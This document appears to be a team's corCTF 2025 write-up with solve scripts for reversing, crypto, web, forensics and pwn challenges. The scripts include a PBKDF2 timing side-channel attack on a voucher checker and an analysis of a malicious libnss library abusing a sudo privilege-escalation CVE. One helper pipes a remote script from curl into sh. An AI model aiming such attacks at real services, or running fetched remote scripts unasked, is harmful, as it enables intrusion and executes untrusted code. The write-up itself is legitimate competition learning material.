---
# System prepended metadata

title: CORCTF WRITE UP 2025

---

# CORCTF 2025
## Reversing
### 1. yourock
- This challenge gives me 2 files: encode (an ELF binary) and encoded.rj (data). To run the binary correctly, we must place rockyou.txt in our directory and execute the binary with an argument. Our target is to find the correct input message so that the result when we run the binary is the same as the data in encoded.rj
![image](https://hackmd.io/_uploads/BJ4H8fQqee.png)

- Let's see what we are having in ida:
![image](https://hackmd.io/_uploads/r1K4KGQcxe.png)

- Okay, this is the pseudocode decompiled from a pure c++ language. Firstly, as we can see, the number of lines in rockyou.txt has to bigger than 0xFF. Secondly, key is generated randomly but stored in only 1 byte. Now let's see what happens in encode function.
![image](https://hackmd.io/_uploads/SyaFqfmceg.png)
- Everything seems quite clear in this challenge. As we know the value of the first word in encoded.rj, we can absolutely recover the key. Once I have key and the output, the rest thing is not much of a challenge. My script:
```python!
key = 63
encoded = "charlie junior babygirl soccer qwerty 111111 000000 tigger jessica jasmine joseph 12345 tigger chelsea melissa 123123 mickey computer anthony chelsea brandon brandon matthew soccer bubbles playboy spongebob eminem ashley password ashley".split()
rock_you = open("rockyou.txt", "r", errors="ignore").read().splitlines()
index_encoded = [0] * 31

for candidate in range(len(encoded)):
    index_encoded[candidate] = rock_you.index(encoded[candidate])

print(chr(63))
for i in range(1, len(index_encoded)):
    v9 = index_encoded[i]
    ch = key ^ v9
    print(chr(ch), end="")
    key ^= (i-1) ^ v9  
```
-> FLAG: **corctf{r0cky0u_3nc0d1ng_r0cks}**
### 2. Tagme
- This challenge took me 3 hours to complete and those hours are so engaging.
- I have only 1 file and it's a flag checker. Let's see what we have in ida.
```c 
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  char v3; // [rsp+3h] [rbp-3Dh]
  char *lineptr; // [rsp+8h] [rbp-38h] BYREF
  size_t n; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 i; // [rsp+18h] [rbp-28h]
  __ssize_t v7; // [rsp+20h] [rbp-20h]
  char *v8; // [rsp+28h] [rbp-18h]
  unsigned __int64 v9; // [rsp+30h] [rbp-10h]
  unsigned __int64 v10; // [rsp+38h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  puts("Enter flag:");
  lineptr = 0LL;
  n = 0LL;
  v7 = getline(&lineptr, &n, stdin);
  if ( v7 == -1 )
    output_exit1("Illiterate");
  if ( v7 <= 8 )
    output_exit1("Short");
  if ( v7 > 39 )
    output_exit1("Long");
  if ( strncmp("corctf{", lineptr, 7uLL) )
    output_exit1("Ineligible");
  if ( strncmp("}\n", &lineptr[v7 - 2], 2uLL) )
    output_exit1("Ineligible");
  set_up();
  v8 = lineptr + 7;
  v9 = v7 - 9;
  for ( i = 0LL; i < v9; ++i )
  {
    v3 = v8[i];
    if ( (i & 1) != 0 )
    {
      if ( i % 6 > 3 )
      {
        if ( v3 <= 112 )
          output_exit1("Forbidden");
      }
      else if ( v3 <= 107 || v3 == 115 )
      {
        output_exit1("Forbidden");
      }
    }
    else if ( v3 == 99 || v3 > 108 )
    {
      output_exit1("Forbidden");
    }
    write_and_check(v3);
  }
  while ( !(unsigned int)process() )
    ;
  output_exit1("Boring");
}
```
- Okay, firstly, the binary checks the flag format and our input length. After that, it rules some enforced allowed characters at some specific positions. 
![image](https://hackmd.io/_uploads/SyxS0MQcxl.png)
- Let's briefly say something about these functions: We have totally a buffer and 2 pointers (write and read pointer both start at 0 and end at 4600, if a pointer is over 4600, it will start again at 0). If we input a string, the program will read our input string and write them in a buffer, the write pointer will increase one by one according to our characters. When it finishes, the read pointer will be processed by reading characters in the buffer, especially with each character it reads, that character will be mapped into a string, then the string will be writen down to the buffer immediately and of course when we read a character from buffer, the read pointer increases. The same thing happens with write pointer, when we write a character to buffer, the write pointer increases.
- The mapping table look like this:
``` text
'a' (97)  -> "ns"    (2 chars)
'b' (98)  -> "jjj"   (3 chars)
'n' (110) -> "a"     (1 char)
'd' (100) -> "q"     (1 char)
'p' (112) -> "cor"   (3 chars) (does not appear in flag, as author confirmed)
'f' (102) -> "gg"    (2 chars)
's' (115) -> "aaa"   (3 chars)
'e' (101) -> "tt"    (2 chars)
'j' (106) -> "gg"    (2 chars)
'c' (99)  -> "flag"  (4 chars)
```
- After analyzing the postion constraints, we finally have:
```text!
Even positions (0,2,4,6,...): {a, b, d, e, f, j}
Odd positions (1,3,7,9,13,15,...): {n}
Odd positions (5,11,17,23,...)  {s}
```
- Our target is to make the read pointer reaches the write pointer at exactly the time when write pointers finish writing the string into buffer. 
- I have investigated so much time to realize this fact: the read pointer will read 2 character but the write pointer just writes 1 time (1 string from mapping) and the string has multiple length (1 to 3). The mapping character leads to a string which has only 1 character is "d" (d->a), but a will leads to "ns" lately, so it does not reduce so much. 
- We just have to care about the even position as all odd positions are all fixed by the rule. With "a" we will have "ns" (n->a,s->aaa and the loops will continue forever) so "a" is not considered a "die" character. {b, d, e, f, j} are considered "die" character as they can not make a infinte loop. So the idea here is to make the write pointer starts again at 0 and catches read pointer at some time.
-  As we don't know the length which makes them meet together so i decided to write a bruteforce solution for this:
```python!
import pwn
pwn.context.log_level = 'info'  

def build_pattern(middle_length):
    pattern = [''] * middle_length

    for pos in range(middle_length):
        if pos % 2 == 0:
            pattern[pos] = 'a'
        else:
            if pos % 6 in [1, 3]:
                pattern[pos] = 'n'
            else:
                pattern[pos] = 's'

    return ''.join(pattern)

def solve():
    for total_length in range(9, 40):
        p = pwn.process('./tagme')
        middle_length = total_length - 8
        pattern ="corctf{" + build_pattern(middle_length) + "}"
        p.sendline(pattern.encode())
        print(pattern)
        res = p.recvall(timeout=1)
        print(res)
        if b'Interesting' in res:
            print(res)
            print("congrats!")
            exit(0)
        if (b'Accepted' in res):
            print(res)
            print("congrats!")
            exit(0)



    print("No solution found")
solve()
```
![image](https://hackmd.io/_uploads/HJ4Or7m5xg.png)
-> FLAG: **corctf{ananasananasananasananasana}**

## Crypto
### Key
```python=
from functools import reduce
import itertools
import os

def xor(x, y):
    return bytes([a ^ b for a, b in zip(x, y)])

def stream(keys0, keys1):
    for keys in itertools.product(*zip(keys0, keys1)):
        key = reduce(xor, keys)
        yield key

with open('flag.bmp', 'rb') as f:
    d = f.read()
    header = d[:len(d) - 1024 ** 2 * 3]
    data = d[len(d) - 1024 ** 2 * 3:]

keys0 = [os.urandom(3) for _ in range(20)]
keys1 = [os.urandom(3) for _ in range(20)]
ks = stream(keys0, keys1)
print(ks)
chunked = itertools.zip_longest(*[iter(data)] * 3)
encrypted = [
    xor(chunk, next(ks))
    for chunk in chunked
]

with open('flag-enc.bmp', 'wb') as f:
    f.write(header)
    f.write(b''.join(encrypted))

```

Bài cho một file ảnh flag-enc.bmp bị mã hóa.
Đặc điểm của BMP:

- Ảnh có header cố định (54 bytes + bảng màu nếu có).
- Kích thước ảnh: 1024 x 1024 pixel → dữ liệu ảnh dài 1024 * 1024 * 3 bytes

Một pixel trắng trong 24-bit BMP có giá trị 0xFFFFFF (b'\xff\xff\xff') -> know plaintext attack 

```python=
import itertools

def xor(x, y):
    return bytes([a ^ b for a, b in zip(x, y)])
with open('flag-enc.bmp', 'rb') as f:
    encrypted_bmp = f.read()
    data_size = 1024 * 1024 * 3
    header_size = len(encrypted_bmp) - data_size
    
    header = encrypted_bmp[:header_size]
    encrypted_data = encrypted_bmp[header_size:]

assumed_pixel = b'\xff\xff\xff'
encrypted_pixels = [encrypted_data[i:i+3] for i in range(0, len(encrypted_data), 3)]

K_base = xor(encrypted_pixels[0], assumed_pixel)

D = [b'\x00\x00\x00'] * 20
for j in range(20):
    key_pow_2 = xor(encrypted_pixels[2**j], assumed_pixel)
    D[19 - j] = xor(key_pow_2, K_base)

decrypted_pixels = []
total_pixels = 1024 * 1024


for i in range(total_pixels):
    current_key = K_base
    
    for j in range(20):
        if (i >> j) & 1:
            current_key = xor(current_key, D[19 - j])
    
    decrypted_pixel = xor(encrypted_pixels[i], current_key)
    decrypted_pixels.append(decrypted_pixel)
    
    if (i + 1) % (total_pixels // 10) == 0:
        print(f"Đã giải mã {(i+1)*100/total_pixels:.0f}%...")

decrypted_data = b''.join(decrypted_pixels)

output_filename = 'flag-dec.bmp'
with open(output_filename, 'wb') as f:
    f.write(header)
    f.write(decrypted_data)

# corctf{642fcb29f091fb14}
```


### ssss
```python=
#!/usr/local/bin/python3
import random

p = 2**255 - 19
k = 15
SECRET = random.randrange(0, p)

print("welcome to ssss")
# Step 1: Generate a random, degree-(k−3) polynomial g(x)
g = [random.randrange(p) for _ in range(k - 2)]
# Step 2: Select a random c in Fp
c = random.randrange(0, p)
# Step 3: Set f(x)=g(x)x^2+Sx+c
f = [c] + [SECRET] + g

def evaluate_poly(f, x):
    return sum(c * pow(x, i, p) for i, c in enumerate(f)) % p

for _ in range(k - 1):
    x = int(input())
    assert 0 < x < p, "no cheating!"
    print(evaluate_poly(f, x))

if int(input("secret? ")) == SECRET:
    FLAG = open("flag.txt").read()
    print(FLAG)
```

ta có được hint của bài: https://www.zkdocs.com/docs/zkdocs/protocol-primitives/alt-shamir/#moving-away-from-the-constant-term 

$f(x)=E(x^2) + x*R(x^2)$
=> $R(x^2) = \frac{f(x) - f(-x)}{2*x}$

Ta query 7 điểm $z_i = +- x$ để tìm được nội suy Lagrange cho R(x) -> tìm R(0) = SECRET
![image](https://hackmd.io/_uploads/SJTXS1Eclg.png)
```python=
#!/usr/bin/env python3
from pwn import *
context.log_level="debug"

p = remote('ctfi.ng', 31555)

P = 2**255 - 19
p.recvline()
def mod_inverse(n, modulus):
    """Calculates the modular inverse of n modulo modulus."""
    return pow(n, -1, modulus)

def evaluate(x):
    """Sends x to the server and gets the result."""
    p.sendline(str(x).encode())
    # p.recvline() # clean the input line
    return int(p.recvline().strip())

num_points = 7
points_R = []

print(f"Querying for {2 * num_points} points from the server...")
for i in range(1, num_points + 1):
    x = i
    y_pos = evaluate(x)
    y_neg = evaluate(P - x) # -x mod P

    z = (x * x) % P
    
    # R(z) = (f(x) - f(-x)) / (2x)
    numerator = (y_pos - y_neg + P) % P
    denominator = mod_inverse(2 * x, P)
    R_z = (numerator * denominator) % P
    
    points_R.append((z, R_z))
    print(f"  Calculated R({z}) = {R_z}")

print("\nAll points for R(z) collected.")

secret = 0
zs = [point[0] for point in points_R]
R_zs = [point[1] for point in points_R]

print("Calculating the secret using Lagrange Interpolation...")

for j in range(num_points):
    numerator = 1
    denominator = 1
    
    for m in range(num_points):
        if m == j:
            continue
        numerator = (numerator * (P - zs[m])) % P
        denominator = (denominator * (zs[j] - zs[m] + P)) % P

    lagrange_basis_at_0 = (numerator * mod_inverse(denominator, P)) % P
    
    term = (R_zs[j] * lagrange_basis_at_0) % P
    secret = (secret + term) % P

print(f"\nCalculated SECRET = {secret}")
p.sendlineafter(b'secret? ', str(secret).encode())

p.interactive()
# corctf{ill_come_up_with_a_good_flag_later_maybe}
```

### oooo
```python=
#!/usr/local/bin/python3
import random; FLAG = open("flag.txt", "rb").read(); print("welcome to oooo")
while True: print(bytes(a^b for a, b in zip(FLAG, random.sample(range(0, 256), k=len(FLAG)))).hex() if input() != "exit" else exit())
```
Với bài này ta có thể tìm được F(0) ^ F(i) bằng cách loại bỏ tất cả các bytes xuất hiện từ C(0) ^ C(i) rồi đó brute lại F(i) bằng cách đoán F(0)

```python=

flag_len = len(ciphertexts[0])
print(f"[*] Done. Flag length is {flag_len} bytes.")
xor_diffs = [0] * flag_len

print("[*] Calculating XOR differences between byte positions...")
all_bytes = set(range(256))

for i in range(1, flag_len):
    diff_stream = [ct[0] ^ ct[i] for ct in ciphertexts]
    present_bytes = set(diff_stream)
    missing_bytes = all_bytes - present_bytes
    
    if len(missing_bytes) == 1:
        xor_diffs[i] = missing_bytes.pop()
    else:
        print(f"[!] Error: Could not uniquely determine F[0] ^ F[{i}].")
        print(f"[!] Found {len(missing_bytes)} missing bytes: {missing_bytes}")
        print("[!] Try increasing NUM_SAMPLES.")
        exit()

common_first_chars = b"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}"

for first_byte_guess in common_first_chars:
    flag_candidate = bytearray(flag_len)
    flag_candidate[0] = first_byte_guess
    
    for i in range(1, flag_len):
        flag_candidate[i] = xor_diffs[i] ^ first_byte_guess
        
    try:
        decoded_candidate = flag_candidate.decode('ascii')
        if "{" in decoded_candidate and "}" in decoded_candidate:
            print(f"\n[+] Possible Flag Found: {decoded_candidate}")
    except UnicodeDecodeError:
        continue

```

### rules

```python=
#!/usr/local/bin/python3

import json
import random
import numpy as np

FLAG = open("flag.txt").read()

BANNER = """
 _____                                                            _____ 
( ___ )----------------------------------------------------------( ___ )
 |   |                                                            |   | 
 |   |                                                            |   | 
 |   |     $$$$$$$\\  $$\\   $$\\ $$\\       $$$$$$$$\\  $$$$$$\\       |   | 
 |   |     $$  __$$\\ $$ |  $$ |$$ |      $$  _____|$$  __$$\\      |   | 
 |   |     $$ |  $$ |$$ |  $$ |$$ |      $$ |      $$ /  \\__|     |   | 
 |   |     $$$$$$$  |$$ |  $$ |$$ |      $$$$$\\    \\$$$$$$\\       |   | 
 |   |     $$  __$$< $$ |  $$ |$$ |      $$  __|    \\____$$\\      |   | 
 |   |     $$ |  $$ |$$ |  $$ |$$ |      $$ |      $$\\   $$ |     |   | 
 |   |     $$ |  $$ |\\$$$$$$  |$$$$$$$$\\ $$$$$$$$\\ \\$$$$$$  |     |   | 
 |   |     \\__|  \\__| \\______/ \\________|\\________| \\______/      |   | 
 |   |                                                            |   | 
 |___|                                                            |___| 
(_____)----------------------------------------------------------(_____)
"""

def rotate_left(data):
    upper = data << 1
    lower = np.roll(data, -1) >> 7
    
    return upper | lower

def rotate_right(data):
    lower = data >> 1
    upper = np.roll(data, 1) << 7
    
    return upper | lower

def rule(data):
    left = rotate_left(data)
    right = rotate_right(data)

    return ~((left & right & data) | (~left & ~right & ~data) | (~left & right & ~data))

def main():
    print(BANNER)
    print("\nGive me a list of bytes, and guess what it becomes!")
    print("Rules:")
    print("1. All war is based on deception.\n")

    print("Enter the bytes:")
    user_input = input("> ")
    arr = json.loads(user_input)
    if not isinstance(arr, list) or not all(isinstance(x, int) for x in arr):
        print("Invalid input")
        return

    data = np.array(arr, dtype=np.uint8)
    if len(data) < 1024:
        print("Too short")
        return

    print("Make a guess:")
    user_guess = input("> ")
    user_guess = user_input
    guess = np.array(json.loads(user_guess), dtype=np.uint8)

    if guess.shape != data.shape:
        print("Invalid guess")
        return

    print("Checking guess...")
    num_rounds = random.randint(100, 16000)
    for i in range(num_rounds):
        data = rule(data)
        if not np.any(data):
            print("All zeroes!")
            return
    # print(f"{data = }")
    if np.array_equal(guess, data):
        print("Correct!")
        print(f"Here is your flag: {FLAG}")
    else:
        print("Incorrect!")

if __name__ == "__main__":
    try:
        main()
    except:
        print("Error")

```

Bài này mình thử bruteforce dùng [i]*1024 vào thử thì thấy có lúc nhả flag với i = 55 nên mình thử luôn với server và có flag
```python=
#!/usr/local/bin/python3

import json
import random
import numpy as np
from pwn import*
context.log_level = "debug"
import subprocess
# FLAG = open("flag.txt").read()
def solve_pow(challenge):
    # gọi curl | sh -s <challenge> để lấy solution
    cmd = ["bash", "-c", f"curl -sSfL https://pwn.red/pow | sh -s {challenge}"]
    solution = subprocess.check_output(cmd).decode().strip()
    return solution
from tqdm import*
def main():
    for _ in trange(10000):
        # p = process(["python", "rules.py"])
        p = remote("ctfi.ng", 31126)
        p.recvuntil(b"proof of work:\n")
        line = p.recvline().decode().strip()  # curl ... <challenge>
        challenge = line.split()[-1]          # lấy chuỗi s.AAATiA==....
        # print(f"{challenge = }")
        # gửi solution
        p.recvuntil(b"solution: ")
        solution = solve_pow(challenge)
        p.sendline(solution.encode())
        p.recvline()
        # user_input = input("> ")
        user_input = str([55 for _ in range(1024)]).encode()
        p.sendline(user_input)
        p.recvuntil(b"> ")
        p.sendline(user_input)
        p.recvuntil(b'> Checking guess...\n')
        flag = p.recvall()
        print(flag)
        if b"corctf" in flag:
            print(flag)
            break

# corctf{o0ps_Ru1e_11O_iS_n0t_chA0tIc}
if __name__ == "__main__":
    try:
        main()
    except:
        print("Error")

```

## Forensic 
### Nintendo-SSwitch

![image](https://hackmd.io/_uploads/r1XM8OHqxg.png)

Let connect to the instance:
![image](https://hackmd.io/_uploads/B1pd8_r5gx.png)

I tried to find and grep flag, luckily i found file flag was encypted located in `/opt/ctf/`

![image](https://hackmd.io/_uploads/HkbBP_r9xe.png)

I think i need to find out what was made it encrypted, i tried to analyze timestamp and found out the filename similar to challange name.

![image](https://hackmd.io/_uploads/rksoOOH5xx.png)

I tried to check on browser and found a CVE-2025-32463 related it.

CVE-2025-32463 is a local privilege escalation vulnerability in the Sudo binary. This config nsswitch.conf and try to make malicious lib `libnss_*`

Come back to the shell and find that `libnss_`
![image](https://hackmd.io/_uploads/HycF5_r5xg.png)

Load it into IDA:

```C
void sub_1327()
{
  const char *blob_path; // rax
  char v1; // al
  const char *outfile; // rax
  int v3; // [rsp+4h] [rbp-2Ch] BYREF
  FILE *v4; // [rsp+8h] [rbp-28h]
  void *ptr; // [rsp+10h] [rbp-20h]
  size_t n; // [rsp+18h] [rbp-18h]
  FILE *stream; // [rsp+20h] [rbp-10h]
  signed __int64 i; // [rsp+28h] [rbp-8h]

  if ( !dword_40C4 )
  {
    blob_path = (const char *)get_blob_path();
    stream = fopen(blob_path, "rb");
    if ( stream )
    {
      fseek(stream, 0, 2);
      n = ftell(stream);
      rewind(stream);
      ptr = malloc(n + 1);
      if ( ptr )
      {
        fread(ptr, 1u, n, stream);
        fclose(stream);
        v3 = 843361682;
        for ( i = 0; i < (__int64)n; ++i )
        {
          v1 = sub_12EA(&v3);
          *((_BYTE *)ptr + i) ^= v1;
        }
        *((_BYTE *)ptr + n) = 0;
        outfile = (const char *)get_outfile();
        v4 = fopen(outfile, "w");
        if ( v4 )
        {
          fputs((const char *)ptr, v4);
          fclose(v4);
        }
        memset(ptr, 0, n);
        free(ptr);
        dword_40C4 = 1;
      }
      else
      {
        fclose(stream);
      }
    }
  }
}

__int64 __fastcall sub_12EA(unsigned int *a1)
{
  unsigned int v2; // [rsp+14h] [rbp-4h]

  v2 = (((*a1 << 13) ^ *a1) >> 17) ^ (*a1 << 13) ^ *a1;
  *a1 = (32 * v2) ^ v2;
  return *a1;
}

```

And then is my code to decrypt it 
```C
#include <iostream>
#include <fstream>
#include <vector>
#include <cstdint>

// PRNG: sub_12EA
uint32_t sub_12EA(uint32_t &a1) {
    uint32_t v2 = (((a1 << 13) ^ a1) >> 17) ^ (a1 << 13) ^ a1;
    a1 = (32 * v2) ^ v2;
    return a1;
}

void decrypt_blob() {
    std::ifstream infile("flag.blob", std::ios::binary);
    if (!infile) {
        std::cerr << "Could not open flag.blob\n";
        return;
    }

    // Read whole file into buffer
    std::vector<uint8_t> data((std::istreambuf_iterator<char>(infile)),
                               std::istreambuf_iterator<char>());

    uint32_t seed = 843361682;
    for (size_t i = 0; i < data.size(); i++) {
        uint8_t key = static_cast<uint8_t>(sub_12EA(seed));
        data[i] ^= key;
    }

    std::ofstream outfile("flag.txt", std::ios::binary);
    if (!outfile) {
        std::cerr << "Could not open flag.txt for writing\n";
        return;
    }

    outfile.write(reinterpret_cast<char*>(data.data()), data.size());
    std::cout << "Decryption complete. Saved to flag.txt\n";
}

int main() {
    decrypt_blob();
    return 0;
}
```
:::success
corctf{nsswitch_can_be_sneaky_sometimes_i_guess_idk}
:::


## MISC
### cor.shop
![image](https://hackmd.io/_uploads/r1tan_S5gl.png)

![image](https://hackmd.io/_uploads/SJz86dB5ge.png)

Use list to show all products

Buy 4 to view source code.

```rush=
use std::env;
use std::io::{self, BufRead, BufReader, Write};

#[derive(Clone, Copy)]
struct Item { id: u32, name: &'static str, price: u64 }

fn items() -> Vec<Item> { vec![
    Item { id: 1, name: "FizzBuzz101's tears", price: 250_000 },
    Item { id: 2, name: "One Clubby hair", price: 400_000 },
    Item { id: 3, name: "Day's Heap", price: 600_000 },
    Item { id: 4, name: "cor.shop's source code", price: 0}
]}

fn banner() -> &'static str { r#"=====================================
         Welcome to cor.shop
=====================================
Commands:
  list                 - show products
  buy <id> <qty>       - attempt to purchase
  balance              - show your balance
  help                 - show this help
  quit                 - disconnect

"# }

const SOURCE: &str = include_str!(concat!(env!("CARGO_MANIFEST_DIR"), "/", file!()));

fn shop<R: BufRead, W: Write>(mut reader: R, mut writer: W, heap: &str) {
    let mut balance: u64 = 0;
    let _ = writeln!(writer, "{}", banner());
    let _ = writeln!(writer, "Balance: {} corns", balance);

    loop {
        // Print prompt
        let _ = write!(writer, "> ");
        let _ = writer.flush();

        // Read user input
        let mut line = String::new();
        if reader.read_line(&mut line).unwrap_or(0) == 0 { break; }
        let line = line.trim();
        if line.is_empty() { continue; }

        // Parse out the command
        let mut parts = line.split_whitespace();
        let cmd = parts.next().unwrap_or("");

        match cmd {
            "list" => {
                // List table of our items
                let _ = writeln!(writer, "{:<3} | {:>7} | {}", "ID", "PRICE", "NAME");
                let _ = writeln!(writer, "----+-------+------------------------------");
                for it in items() {
                    let _ = writeln!(writer, "{:<3} | {:>7} | {}", it.id, it.price, it.name);
                }
            }
            "balance" => {
                // Show the current balance in corns
                let _ = writeln!(writer, "Balance: {} corns", balance);
            }
            "buy" => {
                // Attempt to parse the id and quantity, else fall back to id 0 and qty 1.
                let id: u32 = parts.next().and_then(|i| i.parse().ok()).unwrap_or(0);
                let qty: u32 = parts.next().and_then(|q| q.parse().ok()).unwrap_or(1);

                if qty == 0 {
                    // ???
                    let _ = writeln!(
                        writer,
                        "Thats not how buying stuff works.",
                    );
                    continue;
                }

                if let Some(item) = items().into_iter().find(|it| it.id == id) {
                    // Calculate the total cost of this purchase
                    let total: u64 = (item.price as u32 * qty) as u64;

                    if balance >= total {
                        // User can purchase, handle the purchase
                        balance = balance - total;
                        let _ = writeln!(
                            writer,
                            "Purchased {} x {} for {} corns.",
                            qty, item.name, total
                        );
                        // We need to take quantities into account sometime but its not like people got any corn.
                        if item.id == 1 {
                            let _ = writeln!(
                                writer,
                                "(╥﹏╥)",
                            );
                        } else if item.id == 2 {
                            let _ = writeln!(
                                writer,
                                "-ˋˏ✄┈┈┈┈",
                            );
                        } else if item.id == 3 {
                            let _ = writeln!(
                                writer,
                                "{}",
                                heap
                            );
                        } else if item.id == 4 {
                            let _ = writeln!(
                                writer,
                                "{}",
                                SOURCE
                            );
                        }
                    } else {
                        // User should seriously invest in some corns
                        let _ = writeln!(
                            writer,
                            "Insufficient balance. Need {}, have {}.",
                            total, balance
                        );
                    }
                } else {
                    // I mean this is what we get for only having 3 products...
                    let _ = writeln!(writer, "Unknown item id. Try `list`.");
                }
            }
            "help" => { let _ = writeln!(writer, "{}", banner()); }
            "quit" | "exit" => { let _ = writeln!(writer, "bye!"); break; }
            _ => { let _ = writeln!(writer, "Unknown command. Try `help`."); }
        }
    }
}

fn main() -> io::Result<()> {
    let heap = env::var("HEAP").unwrap_or_else(|_| "Got some random garbage, are you running this on your own machine or something?".to_string());
    let stdin = io::stdin();
    let stdout = io::stdout();
    let reader = BufReader::new(stdin.lock());
    let writer = stdout.lock();
    shop(reader, writer, &heap);
    Ok(())
}
```

At 3'rd product name `Day's Heap` maybe it hint about heap leak.
Look at source code i find the total variable it be downcast before upcast. So we need to choose qty make the total is 0 and get the flag.

![image](https://hackmd.io/_uploads/BJngetB9xg.png)

:::success
corctf{surpr1s3_1ts_wrapp3d_4nd_fr33}
:::

### touch-grass-3

![image](https://hackmd.io/_uploads/HyEXgYBclg.png)

As a description of this challenge. We need to go out and run a mile in ten minutes to get the flag.

![image](https://hackmd.io/_uploads/ByR-bYr9lx.png)
:::success
corctf{e8be77aaf9c6ac78876c}
:::

## Web
### yamlquiz
```javascript=
const express = require('express');
const YAML = require('yaml');

const PORT = process.env.PORT || 4455;
const FLAG = process.env.FLAG || 'corctf{fake_flag_for_testing}';

const app = express();

app.use(express.urlencoded({extended: false}));
app.use(express.static('static'));

app.post('/submit', (req, res) => {
  let result = req.body.result;
  let score = 0;
  if (result) {
    const result_parsed_1 = YAML.parse(result, null, {version: '1.1'});
    const result_parsed_2 = YAML.parse(result, null, {version: '1.2'});
    const score_1 = result_parsed_1?.result?.[0]?.score ?? 0;
    const score_2 = result_parsed_2?.result?.[0]?.score ?? 0;
    if (score_1 !== score_2) {
        score = score_1;
    }
  } else {
    score = 0;
  }

  if (score === 5000) {
    res.json({pass: true, flag: FLAG});
  } else {
    res.json({pass: false});
  }
});

app.listen(PORT, () => console.log(`web/yamlquiz listening on port ${PORT}`));
```

Ở bài này, mục tiêu của chúng ta là tăng biến score lên 5000 để server trả về flag.
Trong đoạn code, ta thấy rằng score_1 và score_2 sử dụng 2 phiên bản YAML khác nhau để parse, và nếu score_1 và score_2 parse khác giá trị thì biến score sẽ được cập nhật.
Điểm khác biệt giữa hai phiên bản này là:
1. Parser YAML 1.1 chuyển hệ cơ số từ hệ bát phân sang hệ thập phân.
2. Parser YAML 1.2 không chuyển hệ cơ số.

Vì vậy  ta chọn số 016610 để Parser YAML 1.1 chuyển về 5000 và nhận flag.
![image](https://hackmd.io/_uploads/ryeSgqHclg.png)
:::success
corctf{ihateyamlihateyamlihateyaml!!!}
:::

### vouched
```python=
#!/usr/bin/env python3
from flask import Flask, render_template, request
import hashlib, hmac, binascii
import random
try:
    from secret import FLAG
except ImportError:
    FLAG = "FLAG{EXAMPLE_FLAG}"

app = Flask(__name__)

PBKDF2_ITERATIONS = 1750000
DKLEN = 32


def generate_voucher() -> str:
    length = 12
    dash_positions = [1, 4, 8]

    chars = []
    for i in range(length):
        if i in dash_positions:
            chars.append('-')
        else:
            chars.append(random.choice("ABCDEF0123456789"))

    return ''.join(chars)


VOUCHER_CODE = generate_voucher()
print(f"[DEBUG] Voucher code: {VOUCHER_CODE}")


def calculate_signature(password: str, salt: str) -> str:
    return binascii.hexlify(
        hashlib.pbkdf2_hmac("sha256", password.encode(), salt.encode(), PBKDF2_ITERATIONS, dklen=DKLEN)
    ).decode()


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/check", methods=["POST"])
def check():
    j = request.get_json(force=True)
    voucher = j.get("voucher", "")
    signature = j.get("signature", "")

    if len(voucher) != len(VOUCHER_CODE):
        return "Code incorrect"

    for i, ch in enumerate(voucher):
        
        if VOUCHER_CODE[i] != ch:
            return "Code incorrect"
        
        # Tampering protection
        ua = request.headers.get("User-Agent", "")
        expected = calculate_signature(voucher, ua)
        if not hmac.compare_digest(signature, expected):
            return "Tampering detected"
        
    return f"See you at corCTF 2026, your ticket is: {FLAG}"


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8000, debug=False)
```

Ở bài này, ta thấy rằng server sử dụng một loại mã hóa là PBKDF2-HMAC-SHA256. Khi đúng kí tự ở một vị trí nào đó, thì server sẽ thử toán toán signature, mà khi tính toán lại tốn một khoảng thời gian do số vòng lặp được đặt khá lớn. Lợi dụng tính năng đó, ta sẽ bruteforce từng vị trí, nếu có một chữ ở vị trí n được server trả về lâu hơn các chữ khác thì chữ đó sẽ là chữ cần tìm.
Script:
```python=
import requests
import time
import hashlib
import binascii

URL = "https://vouched-1504e300b90a4ab7.ctfi.ng/check"
CHARSET = "ABCDEF0123456789"
VOUCHER_LENGTH = 12
DASH_POSITIONS = [1, 4, 8]
VOUCHER_TEMPLATE = list("A-AA-AAA-AAA")
MY_USER_AGENT = "hehe"
TIME_THRESHOLD = 0.15

PBKDF2_ITERATIONS = 1750000
DKLEN = 32

def calculate_signature(password: str, salt: str) -> str:
    print(f"Calculating signature for: {password}")
    start = time.time()
    sig = binascii.hexlify(
        hashlib.pbkdf2_hmac("sha256", password.encode(), salt.encode(),
                            PBKDF2_ITERATIONS, dklen=DKLEN)
    ).decode()
    end = time.time()
    print(f"Calculation took {end - start:.2f}s")
    return sig

def measure_request_time(session, voucher, signature):
    start = time.time()
    session.post(URL, json={"voucher": voucher, "signature": signature})
    end = time.time()
    return end - start

def leak_voucher_code():
    known_voucher = list(VOUCHER_TEMPLATE)
    session = requests.Session()
    session.headers.update({"User-Agent": MY_USER_AGENT})

    for i in range(VOUCHER_LENGTH):
        if i in DASH_POSITIONS:
            continue

        print(f"-Position {i}...")
        guess = list(known_voucher)
        guess[i] = 'X'
        voucher = "".join(guess)
        sig = calculate_signature(voucher, MY_USER_AGENT)
        baseline_time = measure_request_time(session, voucher, sig)
        print(f"Time for 'X': {baseline_time:.4f}s")

        found_char = None
        for char in CHARSET:
            guess = list(known_voucher)
            guess[i] = char
            voucher = "".join(guess)
            sig = calculate_signature(voucher, MY_USER_AGENT)
            duration = measure_request_time(session, voucher, sig)
            print(f"Trying char '{char}': {duration:.4f}s")

            if duration > baseline_time + TIME_THRESHOLD:
                found_char = char
                known_voucher[i] = char
                print(f"Found character at position {i}: '{char}'")
                print(f"Current voucher: {''.join(known_voucher)}")
                break

        if not found_char:
            print(f"Could not find character for position {i}.")
            return None

    return "".join(known_voucher)

voucher = leak_voucher_code()
if voucher:
    print("\nLeaked voucher:", voucher)
```
:::success
corctf{d0nt_w0rry_corCTF_2026_w1ll_b3_fr33!}
:::
## Pwnable
### frogcompute
- Challenge này là trình biên dịch `bf` code 
    - ![image](https://hackmd.io/_uploads/H1hN99H5ex.png)
- Trong đó `bf` code nhập vào sẽ được kiểm tra, chỉ lấy những kí tự hợp lệ đồng thời có `max length` là `0x58`
    - ![image](https://hackmd.io/_uploads/H1vvc9Sqxl.png)
    - ![image](https://hackmd.io/_uploads/SyY89cS5xx.png)
- `bf` code sẽ được thực thi cho đến khi gặp kí tự `#`
    - ![image](https://hackmd.io/_uploads/BkQ2qqrqgg.png)
